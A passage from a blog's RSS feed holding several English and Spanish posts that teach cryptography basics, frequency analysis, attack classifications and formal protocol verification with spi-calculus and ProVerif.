<p>Although the final two kinds could seem to be identical, there is a big difference mainly when applied to public key algorithms. In these algorithms, it is usually very easy to encrypt any plaintext. Thus, these algorithms need to withstand <em>chosen-plaintext</em> attacks. However, a <em>chosen-ciphertext</em> attack would require a decryption oracle, which would return any ciphertext decrypted without exposing the decryption key.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-classification-of-attacks" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-classification-of-attacks/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crypto Series: Introduction &#8211; Basic Concepts</title>
		<link>http://www.limited-entropy.com/crypto-series-basic-concepts</link>
		<comments>http://www.limited-entropy.com/crypto-series-basic-concepts#comments</comments>
		<pubDate>Mon, 02 Mar 2009 07:00:11 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=124</guid>
		<description><![CDATA[Before getting into matter, we're gonna see the basic concepts on which great part of the text is going to relay on. Don't be scared, they are very basic . These are the definitions: Cryptography is the science studying information protection, both unauthorized accesses/uses and modification of the information. Cryptography is only about using algorithms [...]]]></description>
			<content:encoded><![CDATA[<p>Before getting into matter, we're gonna see the basic concepts on which great part of the text is going to relay on. Don't be scared, they are very basic <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> . These are the definitions:</p>
<p><strong>Cryptography </strong>is the science studying information protection, both unauthorized accesses/uses and modification of the information. Cryptography is only about using algorithms to protect this information, while <strong>Cryptanalysis</strong> is about studying techniques to break this protection, those algorithms designed by cryptographers. It's clear that both sides are intimately related, and both of them are grouped in what is known as <strong>Cryptology</strong>.</p>
<p>A <strong>Cryptosystem</strong> is made of the following components:</p>
<ul>
<li><em>Messages</em>: The group of all the messages that one can encrypt. Also known as <em>plaintext</em>.</li>
<li><em>Ciphertexts</em>: The group of all encrypted messages.</li>
<li><em>Keys</em>: The group of all the secrets that can be used to obtain a <em>ciphertext</em> from a <em>plaintext</em>.</li>
<li><em>Encryption and Decryption algorithms</em>: The algorithms or transformations that need to be applied to a <em>plaintext</em> in order to convert it into a <em>ciphertext</em> or back, using a <em>secret key</em>.</li>
</ul>
<p>Un <strong>Criptosistema</strong> o <strong>Sistema Criptográfico</strong> consta de los siguientes componentes:</p>
<ul>
<li><em>Mensajes</em>: Es el conjunto de todos los mensajes que se pueden cifrar. El llamado texto en claro o <em>plaintext</em>.</li>
<li><em>Criptogramas</em>: El conjunto de todos los mensajes cifrados. En inglés llamado <em>ciphertext</em>.</li>
<li><em>Claves</em>: El conjunto de secretos que se pueden utilizar para obtener un <em>criptograma</em> en base a un <em>mensaje</em>.</li>
<li><em>Algoritmos de cifrado y descifrado</em>: Los algoritmos o transformaciones necesarias para convertir un <em>mensaje</em> en su correspondiente <em>criptograma</em> y viceversa, haciendo uso de una <em>clave secreta</em>.</li>
</ul>
<p>So, given a cryptosystem with its encryption algorithm, which we denote as <img src='http://s.wordpress.com/latex.php?latex=C%3DE_k%28M%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='C=E_k(M)' title='C=E_k(M)' class='latex' />, and its corresponding decryption algorithm ( <img src='http://s.wordpress.com/latex.php?latex=M%3DD_%7Bk%5Eprime%7D%28C%29%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='M=D_{k^prime}(C) ' title='M=D_{k^prime}(C) ' class='latex' /> ), the following equation must hold:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=D_%7Bk%5Eprime%7D%28E_k%28M%29%29%3DM%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='D_{k^prime}(E_k(M))=M ' title='D_{k^prime}(E_k(M))=M ' class='latex' /></p>
<p style="text-align: left;">Where k y k' are the corresponding <em>encryption and decryption keys</em>. These keys might be identical (symmetric crypto) or different (asymmetric crypto), as we'll see later.</p>
<p style="text-align: left;">This means that when you decrypt a message encrypted under key <em>K</em> using its corresponding decryption key <em>K'</em>, you obtain the original message. Obvious, isn't it?</p>
<p style="text-align: left;">The figure below shows the conventional cryptosystem as depicted by C.E. Shannon in its book Communication Theory and Secrecy Systems.</p>
<div id="attachment_138" class="wp-caption aligncenter" style="width: 574px"><img class="size-full wp-image-138" title="Cryptosystem scheme" src="http://www.limited-entropy.com/wp-content/uploads/2009/03/shannon_scaled.png" alt="Esquema de un criptosistema" width="564" height="212" /><p class="wp-caption-text">Cryptosystem scheme</p></div>
<p style="text-align: center;">
<p>Finally, to finish this post about basic concepts, we'll see how to statistically characterize a message source. Statistical characterization of a language is a quite powerful tool on its own when it's about analyzing a cipher, specially in case of basic ciphers as we'll see in the next post.</p>
<p>Let's imagine a message source that produces messages in a given language, for instance Spanish. We can try to characterize the source by  means of the probability that a certain character appears in the text, independent of the rest of the text.</p>
<p>Thus, a character <em>c</em> would appear with a probability <img src='http://s.wordpress.com/latex.php?latex=Pr%28c%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='Pr(c)' title='Pr(c)' class='latex' />. With this characterization, the word <em>hola</em> would appear with a probability of:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=Pr%28hola%29%3DPr%28h%29cdot%20Pr%28o%29cdot%20Pr%28l%29%20cdot%20Pr%28a%29%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='Pr(hola)=Pr(h)cdot Pr(o)cdot Pr(l) cdot Pr(a) ' title='Pr(hola)=Pr(h)cdot Pr(o)cdot Pr(l) cdot Pr(a) ' class='latex' /></p>
<p style="text-align: left;">A slightly more powerful option would be characterizing the language as a series of bi-grams (i.e. groups of two characters) with a given probability. In this case, the word <em>hello</em> would have the following probability:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=Pr%28hola%29%3DPr%28ho%29cdot%20Pr%28la%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='Pr(hola)=Pr(ho)cdot Pr(la)' title='Pr(hola)=Pr(ho)cdot Pr(la)' class='latex' /></p>
<p style="text-align: left;">However, this option besides being an identical concept to the former one, requires of much bigger frequency tables and more effort to characterize the message source.</p>
<p style="text-align: left;">A question that might arise now is how would we manage to  obtain a table of relative frequencies for each one of the letters. Basically, we would take a sufficiently large text in the given language and count the number of times each letter appears. Then we divide this number by the total of letters in the text, and get its relative frequency. Frequency tables can be seen in <a href="http://en.wikipedia.org/wiki/Frequency_analysis_(cryptanalysis)">Frequency Analysis</a> [Wikipedia].</p>
<p style="text-align: left;">Next time we'll see how this frequency characterization with independent charactes can be useful to break basic ciphers.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-basic-concepts" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-basic-concepts/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Verificación de protocolos criptográfico: modelando objetivos</title>
		<link>http://www.limited-entropy.com/verificacion-de-protocolos-criptografico-modelando-objetivos</link>
		<comments>http://www.limited-entropy.com/verificacion-de-protocolos-criptografico-modelando-objetivos#comments</comments>
		<pubDate>Sat, 19 Jul 2008 19:26:41 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[IEEE]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Protocol Verification]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=90</guid>
		<description><![CDATA[Seguimos con la serie de verificación de protocolos, después de los anteriores: Introducción Modelado (I) Modelado (II) Ahora nos toca ver cómo completamos nuestros modelos mediante la inclusión de los objetivos del protocolo en ellos. En spi-calculus, para modelar el objetivo de confidencialidad simplemente usamos aserciones ( secrecy assertions en inglés ). Las aserciones son [...]]]></description>
			<content:encoded><![CDATA[<p>Seguimos con la serie de verificación de protocolos, después de los anteriores:</p>
<ul>
<li><a href="http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-introduccion">Introducción</a></li>
<li><a href="http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-modelado-i">Modelado (I)</a></li>
<li><a href="http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-modelado-ii">Modelado (II)</a></li>
</ul>
<p>Ahora nos toca ver cómo completamos nuestros modelos mediante la inclusión de los objetivos del protocolo en ellos. En <em>spi-calculus</em>, para modelar el objetivo de <strong>confidencialidad </strong>simplemente usamos aserciones<em> </em>( <em>secrecy assertions</em> en inglés ). Las aserciones son mecanismos que no modifican el flujo del modelo ( no influyen en la <em>semántica operacional</em> ) y simplemente indican que un agente espera que un determinado valor se mantenga secreto. Por ejemplo, podríamos escribir:</p>
<p><em>Pa = new s; ( secret(s) | out net {s}kab)<br />
Pb= inp net x; decrypt x is {s}kab; secret(s)</em></p>
<p>De esta forma, se especifica que ambos agentes creen que <em>s</em> es un secreto.</p>
<p>Por otra parte, para especificar opciones de autenticidad nos valemos de <em>aserciones de correspondencia </em>( <em>correspondence assertions</em> ). Esto simplemente significa que el agente que inicia la autenticación iniciará la aserción de correspondencia con unos parámetros, y el que la acaba la finalizará. Para que todo vaya bien, si existe una finalización debería haber existido antes una inicialización con los mismos parámetros.</p>
<p>Espero que se vea mejor con este ejemplo tomado de los apuntes de Cristian Haacks como una narración informal:</p>
<p><em>A begins! Send (A, m, B)<br />
A ? S : A, {B, m}kas<br />
S ? B : {A, m}kbs<br />
B ends Send (A, m, B)<br />
</em><br />
Así pues, decimos que es seguro si no existe la posibilidad de que se ejecute el <em>B ends Send(A,m,B)</em> sin que antes e haya ejecutado un <em>A begins! Send(A,m,B)</em>. Para acabar, el ! indica que esta aserción se repite indefinidas veces, es decir que un evento <em>begin </em>puede corresponderse con un <em>end</em> repetidas veces. Un ejemplo de esto sería una firma digital, puesto que la firma se puede comprobar muchas veces y siempre será válida. Sin embargo, a veces interesa que solo se de una vez, para garantizar la <em>frescura</em> de la información y evitar <em>replay attacks</em>.</p>
<p>Para ello, se usan eventos inyectivos, que se modelan sin el <em>!</em> y simplemente un <em>begin</em> puede corresponderse con un <em>end, </em>y nunca más. Para conseguir esto, los protocolos hacen uso de números de secuencia, <em>nonces (number used once), timestamps</em> o similares.</p>
<p>Realmente hay un poco más de <em>chica</em> por aquí detrás con cómo se propagan estos eventos por los canales y demás, pero vamos a dejarlo en que se considera seguro si esto ocurre, ya que en caso contrario significaría que el atacante puede forzar a B a ejecutar un <em>end Send(A,m,B) </em>sin que realmente A haya mandado el mensaje B, lo cual viola la autenticación.</p>
<p>También hay un poco más de teoría respecto a <em>Spi-calculus</em> y procesos <em>seguros respecto a confidencialidad</em>, que especifica qué procesos se pueden denominar así. Intuitivamente, son aquellos procesos en los que no existe ninguna manera de llegar a algo que escriba un secreto en un canal público mediante la <em>semántica operacional</em> de <em>spi-calculus</em>.</p>
<p>Ahora bien, después de este rollo, cómo nos lo montamos con <strong><em>ProVerif</em> </strong>para especificar estas propiedades? Pues es bastante sencillo:</p>
<p>Las metas de confidencialidad, simplemente se especifican en la zona de declaraciones con una <em>query</em> tal que así:</p>
<p><em>query attacker: s.</em></p>
<p>Donde s es el valor que queremos que sea secreto. El problema es que ProVerif usa macros y los nombres son globales, así que si creamos dos nombres iguales en distintos <em>procesos </em>y hacemos una query, irá para los dos. Además, si usamos variables para las <em>queries</em>, siempre dará que el atacante puede obtenerlo mientras que no es necesariamente cierto.</p>
<p>Para este caso, lo que podemos hacer es generar un flag único y pedir a ProVerif que nos diga si el flag puede obtenerse. Por ejemplo, imaginemos la variable <em>M</em> que ha sido obtenida mediante tras leer de la red. Si queremos que sea secreta, deberíamos hacer algo como:</p>
<p><em>query attacker: M.<br />
process (*otro_proceso*)|(in(net,M))</em></p>
<p>Pero entonces ProVerif nos dirá que el atacante puede obtener M, ya que es una variable. Lo que haríamos sería:</p>
<p><em>query attacker:flagM.</em><em><br />
process (*otro_proceso*)|(in(net,M);out(M,flagM);)</em></p>
<p>En este caso, si el atacante puede conocer M podrá leer del canal M, con lo que podrá obtener el flag y la <em>query</em> fallará. Si no, no podrá obtener el flag y no fallará.</p>
<p>Por otra parte, las aserciones de correspondencia se transforman en eventos, y podemos especificar que un evento debe estar precedido por otro. Un ejemplo sacado de mis códigos de ProVerif sería:</p>
<p><em>query evinj : endSendToInit(x,y,z) ==&gt; evinj : beginSendToInit(x,y,z).<br />
query evinj : endSendToResp(x,y,z) ==&gt; evinj : beginSendToResp(x,y,z).<br />
query evinj : endAckToInit(x,y,z) ==&gt; evinj : beginAckToInit(x,y,z).<br />
query evinj : endAckToResp(x,y,z) ==&gt; evinj : beginAckToResp(x,y,z).<br />
</em></p>
<p>Aquí estamos diciendo que el evento endSendToInit(x,y,z) debe estar precedido por el evento beginSendToInit(x,y,z), y lo mismo para el resto de eventos. La palabra clave <em>evinj</em> indica que se trata de una correspondencia inyectiva, es decir uno a uno. Si usaramos <em>ev </em>en su lugar se trataría de correspondencia no inyectiva, muchos a uno.</p>
<p>Por último, comentar que es posible especificar en ProVerif la propiedad de <em>no interferencia </em>(<em> non-interference</em> ), que significa que un atacante no será capaz de distinguir una ejecución del protocolo de otra cambiando los valores de las variables de las que deseamos preservar dicha propiedad.</p>
<p>Dicho más sencillo: que no se puede obtener ninguna información de las variables, ni siquiera si son iguales o distintas de una ejecución a la otra. Por ejemplo, esto no cumpliría dicha propiedad:</p>
<p><em>P(x) = out(net,{x}k);</em></p>
<p>Puesto que si {x1}k es igual a {x2}k, entonces x1 es igual a x2. Para resolverlo usaríamos cifrado no determinístico, que simplemente añade una parte aleatoria al mensaje. Algo así:</p>
<p><em>P(x) = new n; out(net,{(x,n)}k);</em></p>
<p>De esta forma, como <em>n</em> es aleatorio y presumiblemente diferente cada vez, que el texto cifrado sea igual no implica que el contenido lo sea.</p>
<p>Para especificar esta propiedad, en ProVerif escribiremos por ejemplo:</p>
<p><em>noninterf x1,x2.</em></p>
<p>Y luego modelaremos dos procesos en paralelo, uno con x1 y otro con x2. Tras ejecutar ProVerif (que ya veremos cómo se hace en otro post) nos dirá si se puede distinguir entre ellos o no.</p>
<p>Esto es todo de momento... sigo dandoos el coñazo con teoría que puede que no se entienda mucho <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_redface.gif' alt=':oops:' class='wp-smiley' /> , pero en el próximo post explicaré cómo ejecutar ProVerif y un pequeño ejemplo con varias cosas juntas, y después en el siguiente analizaremos el modelo de TLS que puse hace un tiempo.</p>
<p>Si alguien está leyendo esto, que comente si se entiende más o menos o algo <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ( Y quien lo esté leyendo es todo un campeón xD)</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/verificacion-de-protocolos-criptografico-modelando-objetivos" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/verificacion-de-protocolos-criptografico-modelando-objetivos/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Verificación de protocolos criptográficos: Modelado (II)</title>
		<link>http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-modelado-ii</link>
		<comments>http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-modelado-ii#comments</comments>
		<pubDate>Sat, 12 Jul 2008 15:06:30 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=89</guid>
		<description><![CDATA[Continuamos en este post con las técnicas de modelado de protocolos criptográficos. Ahora sí vamos a adentrarnos en el mundo de ProVerif viendo la sintaxis que usa para definir los protocolos. Un archivo fuente de ProVerif puede estar en spi-calculus o mediante cláusulas de Horn. Nosotros solo vamos a ver spi-calculus entre otras cosas porque [...]]]></description>
			<content:encoded><![CDATA[<p>Continuamos en este post con las técnicas de modelado de protocolos criptográficos. Ahora sí vamos a adentrarnos en el mundo de ProVerif viendo la sintaxis que usa para definir los protocolos.</p>
<p>Un archivo fuente de ProVerif puede estar en <em>spi-calculus</em> o mediante cláusulas de Horn. Nosotros solo vamos a ver <em>spi-calculus</em> entre otras cosas porque yo de cláusulas de Horn ni idea <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' />  . Los archivos fuente <em>.pi</em> tienen varias partes que vamos a ver por separado:</p>
<p><span id="more-89"></span></p>
<p><strong>Declaración de nombres</strong></p>
<p>Generalmente al inicio del código se declaran los <em>nombres</em> que se van a usar en el modelo. Esto suele incluir los canales de comunicación públicos, identificadores de usuario, <em>tags</em> para los mensajes, etc.</p>
<p>La sintaxis es sencilla: <em>[private] free nombre.</em> declararía <em>nombre</em>, donde el atributo opcional <em>private</em> indica que solo se puede usar si está explícitamente escrito en el modelo. Es decir, el atacante no tendrá acceso a dicho nombre si anteponemos la palabra <em>private</em> en su declaración.</p>
<p><strong>Constructores y reglas de reducción</strong></p>
<p>Estos son un mecanismo genérico para modelar operaciones como cifrado/descifrado, hashes, derivación de claves a partir del identificador de agente y otros. Básicamente, definimos un constructor como una función de varias variables, y una regla de reducción para poder <em>deshacer</em> lo que hizo el constructor.</p>
<p>La sintaxis es como sigue:</p>
<p><em>fun constructor/n.<br />
reduc destruct(construct(...),...) = ... .</em></p>
<p>Con un ejemplo queda claro enseguida. Lo siguiente sería para definir cifrado/descifrado de forma simétrica:</p>
<p><em>fun encrypt/2<br />
reduc decrypt(encrypt(x,y),y) = x.</em></p>
<p>Como se puede ver, definimos un constructor con 2 parámetros, y definimos un destructor de forma que si aplicamos <em>decrypt(c,y) </em>donde <em>c</em> ha sido construido como <em>encrypt(x,y)</em>, entonces devuelve x. Es decir, <em>y</em> en este caso sería la clave, y <em>x</em> el mensaje a cifrar.</p>
<p>Para un hash, simplemente definiríamos un constructor con 1 único mensaje y sin definir un destructor. De esta forma tenemos una función no invertible perfecta y sin colisiones.</p>
<p><strong>Macros de procesos</strong></p>
<p>Se pueden definir macros de procesos para hacer el código más legible. La sintaxis es:</p>
<p><em>let proceso = &lt;codigo_del_proceso&gt;.</em></p>
<p>De esta forma, podemos definir los distintos roles del protocolo en macros separadas y luego juntarlas en el proceso principal.</p>
<p><strong>Proceso principal</strong></p>
<p>Finalmente, el proceso principal se define de la siguiente forma:</p>
<p><em>process<br />
...</em></p>
<p>Donde en ... podemos referirnos a los procesos creados mediante macros por su nombre, y ProVerif los sustituirá directamente ahí, de forma textual. No se debe pensar en ellos en forma de funciones, sino simplemente que se reemplazará cualquier aparición de su nombre por el contenido definido en la macro.</p>
<p><strong>Consultas</strong></p>
<p>Además, ProVerif permite especificar consultas, que normalmente ponemos después de las declaraciones de nombres. Esto nos permite verificar si se cumplen los objetivos del protocolo, pero lo veremos en otro post cuando veamos cómo modelar los objetivos.</p>
<p><strong>Diferencias con spi-calculus<br />
</strong></p>
<p>Existen algunas diferencias con <em>spi-calculus</em> en la sintaxis, por ejemplo en la forma de escribir/leer a/de un canal de comunicación, la forma de <em>dividir</em> tuplas y algunas cosillas más. Lo mejor es que veamos un ejemplo del protocolo que pusimos en el post anterior para aclarar todo.</p>
<p><strong>Ejemplo</strong></p>
<p>Veamos cómo modelar en ProVerif el protocolo simple del post anterior. La narración informal del protocolo era tal que así:</p>
<p><em>A-&gt;B: (M,A)<br />
B-&gt;A: N<br />
A-&gt;B: {| #(M,B,N) |}sA</em><br />
En primer lugar, generaremos los nombres de usuario, el canal de comunicación y los constructores:</p>
<p><em>free net, A,B,Sign.<br />
fun hash/1.<br />
fun pencrypt(x,enc(y)).<br />
reduc pdecrypt(pencrypt(x,enc(y)),dec(y)).</em></p>
<p>Como se puede adivinar, <em>pencrypt/pdecrypt</em> definen la criptografía de clave pública que usaremos, donde <em>enc()</em> y <em>dec()</em> identifican la parte de cifrado y la parte de descifrado de un par de claves.</p>
<p>Seguidamente, veremos el proceso A y B:</p>
<p><em>let procA = new m;out(net,(m,A));in(net,n);out(net,pencrypt((m,n,B),enc(kpa) ).<br />
let procB = in(net,(m,=A));new n;out(net,n);in(net,signed); let (=m,=n,=B) = pdecrypt(signed,dec(kpa)) in 0.</em></p>
<p>En este caso, he asumido que <em>kpa</em> es el par de claves de A y lo he usado directamente en los procesos, aunque aun no lo hemos generado. Como se puede ver, es mucho menos engorroso que <em>spi-calculus</em> directamente, puesto que permite especificar coincidencias en los mensajes leídos del canal, leer directamente varios valores sin tener que hacer primero el inp y luego el <em>split, </em>etcétera.</p>
<p>Finalmente, nos falta definir el proceso que los junte:</p>
<p><em>process<br />
new kpa; ( procA | procB )</em></p>
<p>Con esto tendríamos modelado el protocolo, aunque no habría ningún objetivo especificado y realmente ProVerif no hará nada.</p>
<p>En los próximos posts veremos cómo modelar los objetivos y cómo leer la salida de ProVerif, que es capaz incluso de dar ataques en algunas ocasiones.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-modelado-ii" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-modelado-ii/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Verificación de protocolos criptográficos: Modelado (I)</title>
		<link>http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-modelado-i</link>
		<comments>http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-modelado-i#comments</comments>
		<pubDate>Sat, 12 Jul 2008 11:00:00 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Protocol Verification]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=87</guid>
		<description><![CDATA[En este segundo post vamos a ver lenguajes para el modelado de protocolos criptográficos. Con la ayuda de estos lenguajes, seremos capaces de crear un modelo del protocolo para analizarlo mediante ProVerif. Empezamos con una manera informal de definir protocolos, seguimos con spi-calculus, y finalmente vemos la sintaxis concreta de ProVerif. En el siguiente post [...]]]></description>
			<content:encoded><![CDATA[<p>En este segundo post vamos a ver lenguajes para el modelado de protocolos criptográficos.  Con la ayuda de estos lenguajes, seremos capaces de crear un modelo del protocolo para analizarlo mediante ProVerif.</p>
<p>Empezamos con una manera informal de definir protocolos, seguimos con <em>spi-calculus</em>, y finalmente vemos la sintaxis concreta de ProVerif. En el siguiente post tocará ver cómo modelamos los objetivos de los que hablamos en el post anterior, y en el último veremos paso por paso un modelo concreto.</p>
<p><span id="more-87"></span></p>
<p><strong>Narraciones informales</strong></p>
<p>Veamos primero como narrar de forma informal los protocolos criptográficos. En primer lugar, necesitamos una serie de primitivas para definir los mensajes:</p>
<ul>
<li>Tuplas: (m1,m2,...,mn)</li>
<li>Cifrado simétrico: { M }k</li>
<li>Cifrado asimétrico: {| M |}pk</li>
<li>Hashes: #( )</li>
</ul>
<p>Además de esto, necesitamos <em>nonces</em>, que son números de un sólo uso que (en nuestro modelo) son imposibles de adivinar, y claves, que también asumimos inadivinables.</p>
<p>Con esto, podemos por ejemplo modelar el siguiente protocolo:</p>
<p>A-&gt;B: (M,A)<br />
B-&gt;A: N<br />
A-&gt;B: {| #(M,B,N) |}sA</p>
<p>Donde sA es la clave privada de A para realizar firmas criptográficas y N es un <em>nonce</em> que B genera para que la firma de A sea válida solo una vez. En caso de no usar ese <em>nonce</em>, la firma podría haber sido mandada por un atacante ( <em>replay atack</em> ). Imagina este protocolo:</p>
<p>A-&gt;B: (M,A)<br />
B-&gt;A: Sign<br />
A-&gt;B: {| #(M,B) |}sA</p>
<p>En lugar de un <em>nonce</em>, B solo pide la firma de A. En este caso, un atacante podría reenvíar lo mismo más tarde...y por ejemplo B es tu banco y M un mensaje "pagame 1.000.000$" ya la hemos liado <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Creo que con esto quedan claras las narraciones informales, que nos definir un protocolo pero dejan muchos detalles implícitos: comprobaciones al recibir los mensajes, número de agentes en el protocolo, quién y cuándo se generan los mensajes (M,N en este caso), etcetera.</p>
<p>Así pues, necesitamos de un formalismo para definir mejor los protocolos de forma que todo quede tan explícito como sea posible: <em>spi-calculus</em>.</p>
<p><strong>Spi-calculus</strong></p>
<p>El lenguaje <em>spi-calculus </em>está definido por una serie de mensajes, procesos que se pueden componer en serie o en paralelo y una <em>semántica operacional</em> que define cómo evolucionan dichos procesos. Por ejemplo, si se tiene un proceso que escribe en un canal dado, y se tiene otro que lee de dicho canal en paralelo en la variable x, entonces la semántica operacional nos dice que en un paso se puede ir de esta construcción a una en la que sustituiremos todos los valores de la variable x detrás de la lectura del canal en el segundo proceso por el valor escrito por el primero.</p>
<p>No voy a explicar aquí todo el <em>spi-calculus</em>, simplemente os dejo este <a href="http://cs.ru.nl/~chaack/teaching/2IF02-Spring08/spi.pdf">link</a> a un resumen del mismo, y ahora pongo un ejemplo porque el parrafo anterior queda bastante confuso. El siguiente fragmento de código sería el equivalente al protocolo anterior:</p>
<p><em>Pinit(a,b,sa)= new m; out net (m,a); inp net x; if x=Sign then out net {| #(m,b) |}<br />
Presp(b,a,pa)=inp net x; split x is (m,a); out net Sign; inp net x; decrypt x is </em><em>{| z |}pa^-1; if z = #(m,b) stop<br />
Pprotocolo = new a;new b;new kpa; new kpb; !Pinit(a,b,enc(kpa)) | !Pinit(b,a,enc(kpb)) | !Presp(b,a,dec(kpa)) | !Presp(a,b,dec(kpb))</em></p>
<p>De esta forma, tenemos que Pinit es un proceso que genera un mensaje, lo manda a la red, espera a recibir <em>Sign</em> y manda a la red una firma sobre el hash de (m,b). <em>Presp</em> realiza la otra parte del protocolo, y <em>Pprotocolo</em> une todo dando los parámetros adecuados para que pueda haber infinitas sesiones donde ambos agentes a y b puedan funcionar tanto de <em>iniciador </em>como de <em>receptor</em>.</p>
<p>Echando un ojo a la semántica operacional, se puede ver que yendo paso a paso podemos <em>ejecutar </em>el protocolo gracias a <em>spi-calculus</em>. Espero que con este ejemplo y el documento con el resumen de la sintaxis y la semántica se medio entienda, aunque realmente no vamos a usar <em>spi-calculus</em> como tal sino una versión modificada que paso a explicar en otro post ya que se está haciendo demasiado largo y queda un poquito sobre el lenguaje usado por ProVerif.</p>
<p>Sé que este post ha podido quedar demasiado teórico y muy resumido, pero lo interesante está por llegar. En el próximo modelaremos el mismo protocolo mediante ProVerif, pero sin añadir objetivos de seguridad al mismo. Después veremos cómo modelar los objetivos y los añadiremos al modelo, para poder comprobar su seguridad.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-modelado-i" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-modelado-i/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Verificación de protocolos criptográficos: Introducción</title>
		<link>http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-introduccion</link>
		<comments>http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-introduccion#comments</comments>
		<pubDate>Sun, 06 Jul 2008 20:00:51 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Protocol Verification]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=86</guid>
		<description><![CDATA[Como ya debéis saber todos los que me soleis leer, una de las asignaturas que he cursado este cuatrimestre en la TU Eindhoven se llama Verification of security protocols. Cuando posteé el modelo del protocolo de establecimiento de TLS, que era el trabajo con más peso de la asignatura (sobre un 20%), voy a intentar [...]]]></description>
			<content:encoded><![CDATA[<p>Como ya debéis saber todos los que me soleis leer, una de las asignaturas que he cursado este cuatrimestre en la <a href="http://www.tue.nl">TU Eindhoven</a> se llama <em>Verification of security protocols</em>. Cuando posteé el <a href="http://www.limited-entropy.com/tls-handshake-protocol-en-proverif">modelo del protocolo de establecimiento de TLS</a>, que era el trabajo con más peso de la asignatura (sobre un 20%), voy a intentar explicar un poco cómo verificar las propiedades de los protocolos criptográficos.</p>
<p>En este primer post introduciremos las principales propiedades de los protocolos y el modelo que usamos. En el próximo post veremos rápidamente cómo definir protocolos mediante <em>narraciones informales</em>, la sintaxis del lenguaje <em>spi-calculus</em> para modelado de protocolos criptográficos, y la generalización utilizada en ProVerif. Después de esto, vendrá un post sobre cómo modelar las propiedades básicas en <em>spi</em> y ordenar consultas en ProVerif. Finalmente, despiezaremos en un último post una parte del modelo de TLS, sin implementar ningún mensaje opcional ni<br />
resumen de sesiones.</p>
<p><span id="more-86"></span></p>
<p><strong>Objetivos de los protocolos criptográficos</strong></p>
